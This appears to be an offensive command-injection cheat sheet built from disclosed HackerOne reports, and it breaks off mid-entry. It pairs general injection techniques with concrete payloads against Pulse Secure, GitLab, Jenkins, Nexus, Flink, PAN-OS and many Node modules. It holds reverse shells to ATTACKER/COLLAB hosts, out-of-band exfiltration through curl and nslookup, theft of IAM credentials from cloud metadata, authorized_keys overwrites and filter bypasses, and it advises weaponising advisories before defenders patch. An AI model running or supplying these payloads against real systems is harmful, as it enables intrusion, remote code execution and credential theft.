# Metachar canary — try each separator in each quoting context, watch the second command fire
; id
| id
&& id
$(id)
`id`
%0a id # URL-encoded newline (send in HTTP/URL contexts)
"|id|" # break out of a double-quoted arg
'; id; ' # break out of a single-quoted arg
Identify which context your input lands in, then use the matching breakout.
Input is concatenated straight into the command with no surrounding quotes — any separator works.
sample.rar"|curl http://COLLAB/shell.pl -o /tmp/s.pl|" # break out of double quotes
foo'; id; ' # break out of single quotes
/wiki test $(cat /etc/passwd)
/wiki test $(bash /path/to/uploaded/shell.sh) # stage a script you control, then run it
foo`id`
y=0 -rotate 90 # image rotates -> you're in gm/convert
ref=--no-index # git leaks out-of-repo files -> missing -- terminator
ref=--output=/var/opt/gitlab/.ssh/authorized_keys # git writes command output to any git-writable file
No output comes back. Prove execution out-of-band with DNS/HTTP, or by a timing differential.
$(curl http://COLLAB/`whoami`) # OOB HTTP with hostname exfil
;nslookup `whoami`.COLLAB; # OOB DNS
;sleep 10; # time-delay tell
&& ping -c 10 127.0.0.1 # ~9s delay if injected (10 packets, 1s apart)
# ingress-nginx annotation: close the block, open a lua location that shells out
} location /x/ { content_by_lua_block { local f=io.popen(ngx.req.get_headers()["cmd"]); ngx.say(f:read("*a")); } }
# reverse shell staged from a subshell/exec sink
bash -i >& /dev/tcp/COLLAB/2137 0>&1
# first move on a cloud host: steal the instance IAM role, then pivot into the account
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 85 in this class.
Real-world example
Pre-auth RCE on unpatched Pulse Secure SSL VPN (file-read + command-injection chain)
◆ Critical
Specimen #591295 · x · USD 20160 · 1239 votes · resolved
Program xSurface networkChain pre-auth file read (CVE-2019-11510) -> cached plaintext cTag account-takeover
Root cause
Public perimeter appliances (SSL VPN) left unpatched against recently-disclosed CVEs. A pre-auth arbitrary file read (CVE-2019-11510) leaks the credential/session DB, and a post-auth admin command injection (CVE-2019-11539) turns that into RCE.
Method
- Fingerprint the appliance and confirm it is behind on the vendor advisory (patched 2019-04-25).
- Use CVE-2019-11510 to read /etc/passwd, /data/runtime/mtmp/system (hashed creds + Duo ikey/skey), and lmdb data.mdb (Pulse caches plaintext passwords after login) and randomVal (session tokens).
- Reuse a cached session token (no Roaming Session) or crack the admin hash / harvest Duo secret to bypass 2FA.
- Proxy to the admin interface via the web-proxy feature (https://0/admin/) and trigger the post-auth command injection (CVE-2019-11539) for RCE.
# pre-auth arbitrary file read primitive (Pulse Secure CVE-2019-11510)
GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1
# then read /data/runtime/mtmp/lmdb/dataa/data.mdb for cached PLAINTEXT VPN passwords
# admin interface reachable through the VPN web-proxy: https://0/admin/
Insight — Perimeter/edge appliances (VPNs, mail gateways, load balancers) are prime targets: version-fingerprint them and weaponise the latest vendor advisory before defenders patch. A pre-auth file read that leaks session/credential stores is often enough to reach an authenticated command-injection sink for full RCE.
Real-world example
Git argument/flag injection (--output/--no-index) to file overwrite -> RCE
◆ Critical
Specimen #658013 · gitlab · USD 12000 · 777 votes · resolved
Program gitlabSurface apiChain flag injection --output -> overwrite ~git/.ssh/authorizedTag file-upload
Root cause
User-controlled values (ref, ref_name, archive path, search ref) are appended to a git CLI invocation without a `--` separator or sanitization. A value starting with `--` is parsed by git as an option, letting the attacker inject flags like --output=PATH or --no-index.
Method
- Find an API/endpoint whose parameter flows into a git subcommand (log, grep, archive, rev-list).
- Set the parameter to a value beginning with -- so git treats it as a flag.
- Inject --output=/var/opt/gitlab/.ssh/authorized_keys and control the written content (e.g. put your SSH pubkey in a wiki/commit message so git log writes it out).
- ssh git@target with your key for RCE. (--no-index variant instead leaks arbitrary files/secrets.)
# git log flag injection via Search API wiki_blobs ref -> write file
curl --header "PRIVATE-TOKEN: $TOKEN" \
'http://TARGET/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys'
# resulting git cmd: git ... log --max-count=1 --output=/var/opt/gitlab/.ssh/authorized_keys
# file-read variant (blobs scope, git grep):
curl --header "PRIVATE-TOKEN: $TOKEN" \
'http://TARGET/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index'
Insight — Whenever user input reaches a CLI tool, test argument injection: prefix with -- and inject the tool's own dangerous flags. For git, --output=PATH writes command output to any git-writable file (overwrite authorized_keys for RCE); --no-index reads files outside the repo. Missing `--` argument terminator is the root cause.
Real-world example
Bundled EvoStream API (localhost:7440) launchProcess -> command exec as SYSTEM
◆ Critical
Specimen #544928 · ui · awarded · 553 votes · resolved
Program uiSurface desktopChain local low-priv user -> localhost:7440 launchProcess ->
Root cause
A desktop product (Ubiquiti unifi-video) bundles a third-party media server (EvoStream) exposing an unauthenticated control API on localhost:7440 whose launchProcess command executes arbitrary binaries; the service runs as SYSTEM.
Method
- Enumerate local listening services installed by the desktop/agent software (netstat) - here EvoStream on 127.0.0.1:7440.
- Send the launchProcess API command with a binary path and arguments.
- Command runs as SYSTEM, giving local privilege escalation (user -> SYSTEM); pair with an SSRF to reach it remotely.
# EvoStream API on localhost:7440 (see docs.evostream.com/2.0/launchProcess.html)
# launchProcess executes any binary with supplied args, service runs as SYSTEM
# poc.py in attachments drives the local API
Insight — Audit what local services fat clients/agents install and which run as SYSTEM/root. Undocumented or third-party control APIs bound to localhost with a process-launch primitive are LPE-to-SYSTEM; if an SSRF can reach the port, it becomes remote RCE.
Real-world example
Shell-string interpolation into Open3.popen3 (DecompressedArchiveSizeValidator)
◆ Critical
Specimen #1609965 · gitlab · USD 33510 · 378 votes · resolved
Program gitlabSurface apiChain BulkImports param filter bypass -> attacker-controlled imTag file-upload
Root cause
A validator builds a command as a single string, `"gzip -dc #{@archive_path} | wc -c"`, and passes it to Open3.popen3, which invokes /bin/sh. Any shell metacharacter in @archive_path (attacker-controlled import_source) executes arbitrary commands. A weak param filter in BulkImports let import_source be set.
Method
- (Requires bulk_import_projects feature.) Trigger a project bulk import from a controlled source.
- Abuse the ProjectPipeline transformer's loose prohibited-key regex to smuggle import_source and template_name into Projects::CreateService params.
- Set import_source to a value with shell metacharacters; the FileImporter feeds it to the validator's shell string.
- After wait_for_archived_file times out, Open3.popen3 runs the injected command.
# import_source value injected into: "gzip -dc #{@archive_path} | wc -c"
"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#"
# (note: > is unusable as JSON escapes it) -> executes: echo lala | tee /tmp/1234
Insight — Grep the codebase for command strings built by interpolation and passed to Open3.popen3 / system / `backticks` / IO.popen with a String (shell mode) rather than an argv array. Any user-influenced path/filename reaching such a sink is command injection. Fix tell: use Gitlab::Popen with an array of args.
Real-world example
Argument injection into gm convert (-write |cmd) via unescaped spaces
◆ Critical
Specimen #212696 · imgur · awarded · 229 votes · resolved
Program imgurSurface webChain argument injection -> gm convert -write |cmd -> RCE / Tag file-upload
Root cause
An image crop/resize endpoint interpolates a user parameter into a shell command that runs GraphicsMagick. Metacharacters are escaped (escapeshellcmd-style) but spaces are not, allowing extra CLI arguments to be injected; gm's -write with a |-prefixed filename executes a command.
Method
- Intercept the crop request: /edit/process?...&y=0&...
- Confirm it's an image tool by appending ' -rotate 90' to y and observing the effect.
- Inject additional gm args using ${IFS} for spaces and -write |command to execute.
- Exfil command output to your server via curl.
y=0 -write |ps${IFS}aux|curl${IFS}http://COLLAB${IFS}-d${IFS}@-
# URL-encoded in the y parameter of /edit/process?...&a=crop
Insight — If special chars are escaped but SPACES are not (a hallmark of PHP escapeshellcmd), you still have argument injection. Identify the underlying tool (probe with a harmless flag like -rotate), read its man page for a dangerous option - GraphicsMagick/ImageMagick -write |cmd runs shell. Use ${IFS} where spaces are stripped.
Real-world example
Unrestricted Apache Flink jars/{id}/plan API -> RCE via arbitrary entry-class
◆ Critical
Specimen #1418891 · aiven_ltd · USD 6000 · 131 votes · resolved
Program aiven_ltdSurface apiChain exposed Flink API -> arbitrary entry-class + remote JS ar
Root cause
The Apache Flink REST API endpoint GET /jars/{jar_id}/plan is exposed without access control and lets the caller specify entry-class and program arguments; pointing it at a classpath class like com.sun.tools.script.shell.Main with a JS-loader arg yields code execution.
Method
- Locate an exposed Flink Web UI / REST API (default no auth).
- Upload or reference a jar, then call /jars/{id}/plan with entry-class set to a gadget class already on the classpath.
- Pass programArg to load a remote script (e.g. com.sun.tools.script.shell.Main -e load('https://attacker/shell.js')).
- Receive a reverse shell.
GET /jars/<jar_id>_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://ATTACKER/shell-loader.js")¶llelism=1 HTTP/1.1
Host: TARGET
Authorization: Basic <creds>
Insight — Data-processing platforms (Flink, Spark, Hadoop, Jenkins) expose 'run this class/job' APIs that are RCE-by-design if reachable. Always check whether the management/REST port is authenticated; if not, invoking an arbitrary entry-class with a script-engine loader is direct RCE.
Real-world example
Exposed Jenkins /script Groovy console -> RCE + AWS SSM IAM creds
◆ Critical
Specimen #2083771 · deptofdefense · none · 114 votes · resolved
Program deptofdefenseSurface webChain exposed Jenkins /script -> Groovy RCE -> AWS IMDS IAM Tag cloud-aws
Root cause
The Jenkins script console (/jenkins/script) is exposed without authentication, allowing arbitrary Groovy execution, which is direct OS command execution; on an EC2 instance this immediately yields IAM role credentials via the metadata service.
Method
- Probe for /jenkins/script (Jenkins Groovy console).
- Execute Groovy that shells out (String.execute()) to curl IMDS for the instance role creds.
- Use the AWS creds, or run a ProcessBuilder reverse shell for interactive access.
// Groovy in Jenkins /script console
println "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>".execute().text
// reverse shell
String host="ATTACKER";int port=1337;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);/*...pipe streams...*/
Insight — Always check for exposed admin/dev consoles (Jenkins /script, Spring actuator, Airflow, etc.). Jenkins Groovy console == unauth RCE. First post-exploit move on cloud hosts: hit 169.254.169.254 for IAM role creds to pivot into the AWS account.
Real-world example
Tomcat '..;/' AJP path bypass to unauth API + command injection (Trellix ESM)
◆ Critical
Specimen #2817658 · trellix · none · 60 votes · resolved
Program trellixSurface webChain path-traversal (..;/ AJP bypass) -> unauth internal API -
Root cause
Apache ProxyPass forwards /rs to an AJP backend; the '..;/' path segment (Tomcat treats ';' as a path-param) bypasses front-end auth/path filtering to reach internal Snowservice APIs, one of which concatenates a JSON 'name' value into a shell command as root.
Method
- Reach internal API unauth via /rs/..;/Snowservice/... path traversal
- Call CreateNode to seed a node object
- Call ManageNode with a backtick command in the 'name' field for RCE as root
POST /rs/..;/Snowservice/SnowflexAdminServices/ManageNode HTTP/1.0
Content-Type: application/json
{"serverName":"test132","processes":[{"name":"`bash -i >& /dev/tcp/ATTACKER/2137 0>&1`","signal":"Restart"}]}
Insight — Whenever a reverse proxy fronts a Java/AJP backend, try '..;/' (and '/..;/') to bypass path-based auth and reach internal endpoints; then hunt command-injection sinks behind them.
Real-world example
Arbitrary file write via import path traversal -> authorized_keys command= RCE
◆ Critical
Specimen #298873 · gitlab · 2000 · 50 votes · resolved
Program gitlabSurface webChain path traversal / arbitrary file write -> authorized_keys
Root cause
GitlabProjectsImportService builds import_upload_path from unsanitized params[:path] and copies the uploaded file there without content validation; traversal lets an attacker overwrite ~git/.ssh/authorized_keys, whose forced-command directive runs on SSH connect.
Method
- Upload a GitLab project import with path = ../../../../var/opt/gitlab/.ssh/authorized_keys
- Set the uploaded file contents to an authorized_keys line with command="..." plus your public key
- SSH as git@host to trigger the forced command
Content-Disposition: form-data; name="path"
new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
...
(file body) command="ls -lash",no-pty ssh-rsa AAAA... attacker-key
Insight — An arbitrary file-write primitive escalates to RCE by overwriting SSH authorized_keys with a forced-command (command=) entry - check which files are writable by the service user.
Real-world example
VCS argument injection via malicious hg branch name (--config hook)
◆ Critical
Specimen #288704 · phabricator · awarded · 41 votes · resolved
Program phabricatorSurface web
Root cause
Phabricator passes a Mercurial branch name directly as an hg CLI argument; a branch named --config=hooks.pre-log=CMD is interpreted as an option that defines a hook, executing CMD when hg log runs.
Method
- On a monitored hg repo, create a branch named --config=hooks.pre-log=wget
- Let Phabricator sync the repo
- Visit the branch history page so hg log runs with the injected --config
hg branch '--config=hooks.pre-log=wget'
# triggered via /source/<repo>/history/--config%253Dhooks.pre-log%253Dwget/
Insight — Attacker-controlled strings passed as CLI arguments (branch/ref/filename) that begin with - become option injection; for hg/git/ssh, --config/-o/-e style options can reach command execution even without shell metacharacters.
Real-world example
Unauthenticated command injection via undocumented field before authz (Hyperledger indy-node)
◆ Critical
Specimen #1705717 · hyperledger · 2000 · 39 votes · resolved
Program hyperledgerSurface otherChain undocumented package field -> dpkg -s shell concat ->
Root cause
POOL_UPGRADE's undocumented 'package' field is passed into compose_cmd(['dpkg','-s',package]) and run as a shell command; the Trustee authorization check happens AFTER this vulnerable path, so any signed client (no role) achieves RCE on every node.
Method
- Build a signed POOL_UPGRADE request (any network identity, no role)
- Set package to '<pkg> ; <reverse shell>' with a valid future schedule to pass static validation
- Send to a node's client port; command runs on all nodes
"operation":{"action":"start","name":"test","package":"a ; python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"ATTACKER\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'","schedule":{...},"type":"109","version":"1.1"}
Insight — Look for authorization enforced AFTER input processing (validation/lookup runs first) - the vulnerable code path is reachable pre-auth. Also hunt undocumented/hidden request fields that reach system() sinks.
Real-world example
Command injection filter bypass via ${IFS} in Nexus Yum plugin (bypass CVE-2019-5475)
◆ Critical
Specimen #688270 · central-security-project · none · 34 votes · resolved
Program central-security-projectSurface web
Root cause
Nexus Yum Configuration capability runs the configured createrepo/mergerepo path via CommandLineExecutor; the CVE-2019-5475 getCleanCommand patch is incomplete and is bypassed using ${IFS} for spaces and || to chain commands.
Method
- Open/create a Yum: Configuration capability in Nexus
- Set createrepo/mergerepo path to a command using ${IFS} and || to dodge the filter
- Capability execution runs the command
/bin/bash -c curl${IFS}http://ATTACKER:8000/ || /createrepo
Insight — When a command-injection patch just blacklists spaces/keywords, bypass with ${IFS} (or $IFS$9), brace/backslash tricks, and || / && chaining; always retest 'fixed' sinks for incomplete filters.
Real-world example
Symlink regex bypass in project import -> arbitrary file write -> SSH RCE (GitLab)
◆ Critical
Specimen #378148 · gitlab · none · 32 votes · resolved
Program gitlabSurface webChain symlink regex bypass -> arbitrary file write -> authorTag file-upload
Root cause
file_importer.rb strips symlinks using regex %r{.*/\.{1,2}$}; a tarball symlink named '.\nevil' (embedded newline) matches and survives removal, pointing into /var/opt/gitlab. Because the upload dir isn't purged on project delete, a second import writes files (authorized_keys) through the surviving symlink.
Method
- Import a tarball containing a symlink named .<newline>evil -> /var/opt/gitlab
- Delete the project (upload dir persists)
- Re-import a tarball with uploads/.<newline>evil/.ssh/authorized_keys to write through the symlink; SSH in
tar symlink entry: uploads/nyangawa/myrepo/.\nevil -> /var/opt/gitlab
then: uploads/.\nevil/.ssh/authorized_keys (your pubkey)
Insight — Regex-based symlink/path filters that anchor on $ are bypassable with newline characters in names; combine a surviving symlink with a non-cleaned directory to convert archive import into arbitrary file write and then authorized_keys RCE.
Real-world example
Nexus Repository Manager Yum plugin command injection (CVE-2019-5475)
◆ Critical
Specimen #654888 · central-security-project · none · 28 votes · resolved
Program central-security-projectSurface web
Root cause
The nexus-yum-repository-plugin passes the admin-configurable createrepo/mergerepo path straight to CommandLineExecutor, so an authenticated admin can point it at an arbitrary binary that then runs as the Nexus service user.
Method
- Authenticate to Nexus 2.x with capability-management rights
- Create/edit a Yum: Configuration capability via the REST API
- Set createrepoPath to an arbitrary executable; Nexus invokes it (appending --version)
PUT /nexus/service/siesta/capabilities/000013ea3743a556 HTTP/1.1
Host: TARGET
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/xml
<ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>createrepoPath</key><value>C:\Windows\System32\calc.exe</value></properties></ns2:capability>
Insight — Config fields that specify a path to an external binary (createrepo, ffmpeg, git, etc.) are command-execution sinks when passed to a shell/CommandLineExecutor. Check REST capability/settings endpoints for path parameters.
Real-world example
Node module RCE via unsanitized input to child_process.exec
◆ Critical
Specimen #781664 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain
Root cause
npm libraries build a shell command string by concatenating/formatting caller-supplied input and pass it to child_process.exec(), which runs it through /bin/sh, so shell metacharacters in that input execute arbitrary OS commands.
Method
- Identify library APIs that shell out (child_process.exec) with a value derived from caller/user input
- Break out of quoting with double-quote/backtick/semicolon/ampersand and append a command
- Trigger the API to execute the injected command
// pdf-image (781664) - break double quotes or use backticks
new (require('pdf-image').PDFImage)('"; sleep 500 #"').getInfo();
// backtick variant executes even inside double quotes: `ls;sleep 5`
// bunyan (902739): ./node_modules/bunyan/bin/bunyan -p "S'11;touch hacked ;'"
// logkitty (825729): logkitty android app 'test; touch HACKED'
// tree-kill (701183, Windows): kill('3333332 & echo HACKED > HACKED.txt & ')
Insight — When auditing Node modules, grep for child_process.exec/execSync and trace whether any argument is a user/caller-controlled string; exec is shell-interpreted (unlike execFile/spawn with an args array). Payload style depends on how input is embedded: inside double quotes use backticks or close the quote; Windows cmd uses & separators.
Real-world example
Electron shell.openExternal() blocklist bypass -> RCE from untrusted link
◆ Critical
Specimen #924151 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface desktopChain remote message -> user click -> shell.openExternal -&gTag supply-chain
Root cause
The desktop app passes clicked links to Electron's shell.openExternal() with only a file:// blocklist. Other OS-handled URI schemes (smb://, and OS-specific protocol handlers) still reach the shell, letting a remote-supplied link launch an attacker-hosted executable.
Method
- Confirm links flow to shell.openExternal() with a blocklist (not allowlist) filter
- Host a payload reachable via a non-http protocol the OS will execute (e.g. smb:// share with a .desktop launcher on Linux, ms-msdt/search-ms on Windows)
- Send the link in a message; on click the OS handler runs the payload
# Message body:
smb://attacker.tld/public/pwn.desktop
# pwn.desktop on the share:
[Desktop Entry]
Exec=bash -c "(mate-calc &); xmessage 'RCE'"
Type=Application
Insight — Any Electron/webview app that opens user-controlled links needs a scheme ALLOWLIST (http/https/mailto). A blocklist is always bypassable via OS-registered protocol handlers. Check preload link handlers for openExternal.
Real-world example
Argument-to-exec() command injection in npm modules (unsanitized input into child_process.exec/execSync)
◆ Critical
Specimen #863544 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain
Root cause
A library builds a shell command by string-concatenating a caller/user-controlled parameter and runs it through child_process.exec / execSync (which invoke /bin/sh), instead of passing an argv array to execFile/spawn. Any shell metacharacter in the parameter breaks out into arbitrary OS commands.
Method
- Find a module API/CLI whose argument (domain, ip, port, pid, filename, connString, range, argv[2]) reaches exec()/execSync()
- Inject a shell break: ; | && $() `` around the expected value
- Confirm with a benign side effect (touch file / DNS callout) then escalate to a reverse shell
// devcert (domain param)
certificateFor('example.com; touch /tmp/pwned;')
// kill-port
kill("23;`touch ./success.txt`")
// samsung-remote (ip)
new SamsungRemote({ip:'127.0.0.1; touch /tmp/malicious;'})
// apex-publish (connectString into execSync)
publish({connectString:';cat /etc/passwd;'})
// libnmap (range) / ps (pid) / whereis (filename)
range:['x.x.$(touch success.txt)'] | pid:'$(touch success.txt)' | whereis('wget; touch /tmp/tada')
// ascii-art / jison CLI (process.argv)
ascii-art preview 'doom"; touch /tmp/malicious; echo "'
Insight — When auditing Node dependencies, grep for exec(/execSync( and trace every argument back to an API surface; any concatenated value is RCE if the consumer ever passes user input. Fix = execFile/spawn with an argv array. This same bug recurs across dozens of small utility packages.
Real-world example
Unauthenticated remote command injection in a webhook receiver (Node exec on request field)
◆ Critical
Specimen #685447 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface webTag webhookTag supply-chain
Root cause
gitlabhook takes an attacker-controlled JSON field (repository.name) straight from an inbound HTTP webhook and interpolates it into a shell command via execFile/exec, giving pre-auth RCE to anyone who can reach the listener.
Method
- Locate a webhook/CI listener that shells out to git/deploy using values from the POST body
- POST JSON with a shell break inside a string field (e.g. repository name)
- Observe command execution on the server
POST http://target:3420
Content-Type: application/json
{"repository":{"name": "Diasporrra'; touch /tmp/poc.txt;'"}}
Insight — Webhook/CI glue is a high-value network-reachable variant of the exec() bug class: the injected value arrives over HTTP with no auth. Always test repository/name/branch/ref fields of webhook receivers for shell metacharacters.
Real-world example
Malicious VCS repo executes checked-in hook (Mercurial git subrepo -> post-update)
◆ Critical
Specimen #294147 · ibb · awarded · 9 votes · resolved
Program ibbSurface otherChain clone/update untrusted repo -> git hook execution -> RTag supply-chain
Root cause
Mercurial's Git subrepo support checks out an attacker-crafted subrepository that contains a .git/hooks/post-update script, which Git then executes during clone/update. Cloning/pulling a hostile repo yields code execution on the victim.
Method
- Craft (programmatically) a Mercurial repo with a Git subrepo whose .git/hooks/post-update holds a payload
- Get a victim to clone/update the repo (CI, hosting, dev machine)
- Git runs the hook -> arbitrary command execution (CVE-2017-17458)
.git/hooks/post-update (in the malicious git subrepo):
#!/bin/sh
touch /tmp/pwned # or reverse shell
Insight — Untrusted VCS content is an RCE vector: any tool that clones repos/submodules can be tricked into running checked-in hooks or ext commands. Applies to CI runners, IDE git integrations, dependency fetchers - treat clone of untrusted repos as code execution.
Real-world example
Node.js library API param concatenated into child_process.exec()
◆ Critical
Specimen #858674 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface otherTag supply-chain
Root cause
A library builds a shell command by string-interpolating a caller-supplied argument into child_process.exec()/execSync(), so shell metacharacters in that argument are interpreted by /bin/sh. Any downstream app that lets user input reach the argument gets RCE.
Method
- Grep the target module/app for exec(`... ${var} ...`) / execSync / template-literal shell commands
- Identify which function parameter, env var, or config value flows unescaped into that string
- Pass a payload that terminates the intended command and appends your own
- Confirm side effect (file creation / OOB callback)
const { Wg } = require('wireguard-wrapper');
Wg.showconf('; touch HACKED');
// generic separators that work in the same sink:
// ; touch /tmp/x (command separator)
// && touch /tmp/x (chained)
// $(touch /tmp/x) (substitution)
// `touch /tmp/x` (backticks)
Insight — Any Node module that calls exec() with a template string is a candidate; the injectable input can be a function arg (wireguard-wrapper device, free-space disk, command-exists commandName, macaddress iface, git-dummy-commit msg, entitlements path) OR an environment variable (last-commit-log GIT_DIR). Trace every exec()/execSync() back to its data source. Fix is execFile/spawn with an argv array so args are never re-parsed by a shell.
Real-world example
RCE via attacker-controlled Git branch name (second-order exec injection)
◆ Critical
Specimen #315773 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface otherChain malicious PR branch name -> pullit execSync -> RCE on Tag supply-chain
Root cause
pullit runs execSync('git ... '+branch) on branch names it fetches from a GitHub PR. A third party who opens a PR controls the branch name, so a victim running pullit against that repo executes the attacker's shell command — the tainted data crosses a trust boundary via the remote VCS.
Method
- Create a branch whose name is a shell payload
- Push it and open a pull request so the name lands in the repo's PR list
- Victim runs pullit and selects the PR; branch name flows into execSync
- Command executes on victim's machine
git checkout -b ';{echo,hello,world}>/tmp/c'
# brace-expansion {a,b,c} produces space-free tokens so the payload
# survives contexts that choke on literal spaces
Insight — Injection sources are not only local user input — data pulled from GitHub/GitLab (branch names, tags, PR titles, commit messages) is attacker-controllable and reaches CI/CD and dev tooling exec() sinks. Treat any VCS-sourced string as tainted. Brace expansion {cmd,arg1,arg2} is a reliable way to inject when whitespace is filtered or awkward.
Real-world example
Command injection in Node modules via string-formatted child_process.exec
◆ Critical
Specimen #730121 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
A Node library builds a shell command by concatenating/template-interpolating a caller-supplied string and runs it through child_process.exec (a full shell), so shell metacharacters in the argument break out of the intended command and run arbitrary OS commands.
Method
- Find a JS library API whose argument (git remote, filename, uri, commit message, etc.) ends up inside an exec()/execSync() string rather than execFile/spawn with an args array.
- Pass an argument containing a shell separator: ; | && || $() backticks or newline.
- Observe the injected command run (touch HACKED / reboot / curl to collaborator).
// npm-git-publish
var git = require('npm-git-publish');
git.publish('.', 'http://github.com ;touch HACKED; #')
// windows-edge
require('windows-edge')({ uri: 'https://x/; touch HACKED; #' }, ()=>{})
// git-lib
require('git-lib').add('test;touch HACKED;')
// gity
require('gity')().add('*.js').commit('-m "x";touch HACKED;#').run()
// create-git
require('create-git')({ remoteOrigin: 'http://evil.com || curl "http://COLLAB/RCE"' })
// commit-msg (CLI)
echo "test||reboot" | commit-msg stdin
// imagickal
require('imagickal').identify('image.jpg;touch HACKED;')
Insight — Any wrapper around a CLI (git, ImageMagick, etc.) is a command-injection candidate: grep the source for exec(`...${x}...`) / exec('cmd ' + x). The fix and the tell are the same - safe code uses execFile/spawn(cmd, [args]) which never invokes a shell. On the next target, feed ';id' or '$(id)' style separators into every arg that looks like a path, URL, or free-text field routed to a system utility.
Real-world example
Argument injection into a downstream CLI (curl -o) to overwrite files -> RCE
◆ Critical
Specimen #925324 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface otherChain argument injection -> arbitrary file overwrite (module .j
Root cause
systeminformation.inetChecksite() places user input into a curl command line. Even without classic shell metacharacters, the attacker injects extra curl flags (--output/-o) to make curl write an attacker-supplied response body over one of the package's own .js files, which is then require()'d and executes attacker code.
Method
- Identify input that becomes an argument to a CLI tool (curl, tar, ffmpeg, git...).
- Instead of shell metachars, inject the tool's own dangerous flags (curl -o/--output, tar --to-command, ffmpeg -f lavfi).
- Point the download/overwrite at a JS file inside the module, host malicious content on a listener, then trigger a code path that loads that file.
const si = require('systeminformation')
const HOST = "127.0.0.1:443"
// telnet:// avoids curl's HTTP status check; -o overwrites the module's own JS
si.inetChecksite(`telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`)
// serve the malicious internet.js: sudo nc -nlp 443 < file.js
// then any call triggers your code:
si.inetChecksite("<Some OS command>")
Insight — 'No shell metacharacters reachable' does not mean safe. If input becomes an argv element of a powerful CLI, injecting that tool's flags (curl -o, wget -O, tar --to-command, find -exec, ffmpeg) can write files or run commands. Overwriting a JS file the app later require()s is a clean RCE bridge.
Real-world example
OS command injection via chat-command arguments ($() subshell)
◆ High
Specimen #851807 · nextcloud · awarded · 317 votes · resolved
Program nextcloudSurface webChain Chat command arg -> @exec shell -> $() substitution -&
Root cause
Nextcloud Talk chat commands pass user-supplied arguments to a shell executor via @exec; arguments are not neutralized, so bash command substitution $(...) executes arbitrary commands as the web user.
Method
- Find a configured /command that accepts arguments (e.g. /wiki, /calc)
- Inject a subshell in the argument: /wiki test $(id)
- Use a command whose script echoes output to read results (/calc), else blind
- Upload a shell script to your files and execute it for a reverse shell
/wiki test $(id)
/calc test $(cat /etc/passwd)
/wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)
Insight — Any feature that shells out to a helper script with user args is command-injectable - test $(...), backticks, ;, |, &&. Even 'blind' commands run; pair with a file you control on disk (uploaded to your account) to stage a reverse shell.
Real-world example
GlobalProtect CVE-2024-3400 unauthenticated OS command injection (PAN-OS firewall)
◆ Critical
Specimen #2468496 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface otherChain unauth request -> cookie-driven file write -> scheduleTag subdomain-takeover
Root cause
PAN-OS GlobalProtect writes an attacker-controlled session cookie (SESSID) value into a filesystem path used by a telemetry/maintenance job; a path-traversal + shell metacharacters in the cookie leads to unauthenticated arbitrary command execution as root.
Method
- Send an unauthenticated request to the GlobalProtect portal with a crafted SESSID cookie encoding a path + command
- The value is written to disk / consumed by a scheduled job, executing the injected command as root
- Detect: created file becomes reachable (404 changes to 403), confirming write/exec primitive
Insight — Appliance/VPN edge devices frequently derive filesystem paths or shell commands from unauthenticated session identifiers/cookies - test session/token values for path traversal and command metacharacters. Use a 404->403 file-existence oracle to confirm without a payload callback. (Report PoC is redacted; mechanism per public CVE-2024-3400 analyses.)
Real-world example
Headless-Chrome remote-debugging RCE via port-scan + clickjacking (Burp scanner)
◆ High
Specimen #1274695 · portswigger · USD 3000 · 171 votes · resolved
Program portswiggerSurface desktopChain malicious page -> localhost port scan -> Chrome XSS+cl
Root cause
Burp's crawler drives an embedded headless Chrome with remote-debugging over a random localhost websocket port (not --remote-debugging-pipe). A malicious page the scanner visits can port-scan to find it, use a known Chrome XSS + clickjacking to steal the debug websocket GUID, then use the DevTools Protocol to write files.
Method
- Host a page; when the scanner crawls it, JS scans localhost for the Chrome remote-debugging port.
- Leverage a long-known Chrome XSS + clickjacking to capture the remote-debugging websocket GUID.
- Via CDP Page.downloadBehavior/file download, write a user.vmoptions into the Burp app directory containing -Xmx5m and -XX:OnOutOfMemoryError=<command>.
- On next launch Burp exhausts the tiny heap and the JVM runs the OnOutOfMemoryError OS command.
# JVM vmoptions gadget written into the app dir via CDP file download:
-Xmx5m
-XX:OnOutOfMemoryError=open -a Calculator
# forces OOM at startup -> executes the supplied OS command
Insight — Security tools that embed headless Chrome with a remote-debugging PORT (vs pipe) expose CDP to any page they render - treat the scanner/browser itself as attack surface. JVM apps: a writable user.vmoptions with -XX:OnOutOfMemoryError=<cmd> plus a tiny -Xmx is a reliable file-write-to-RCE gadget.
Real-world example
Command injection via filename passed to exec("unrar x ...") (Nextcloud Extract)
◆ High
Specimen #546753 · nextcloud · none · 124 votes · resolved
Program nextcloudSurface webChain crafted rar filename -> exec() breakout -> download+ruTag file-upload
Root cause
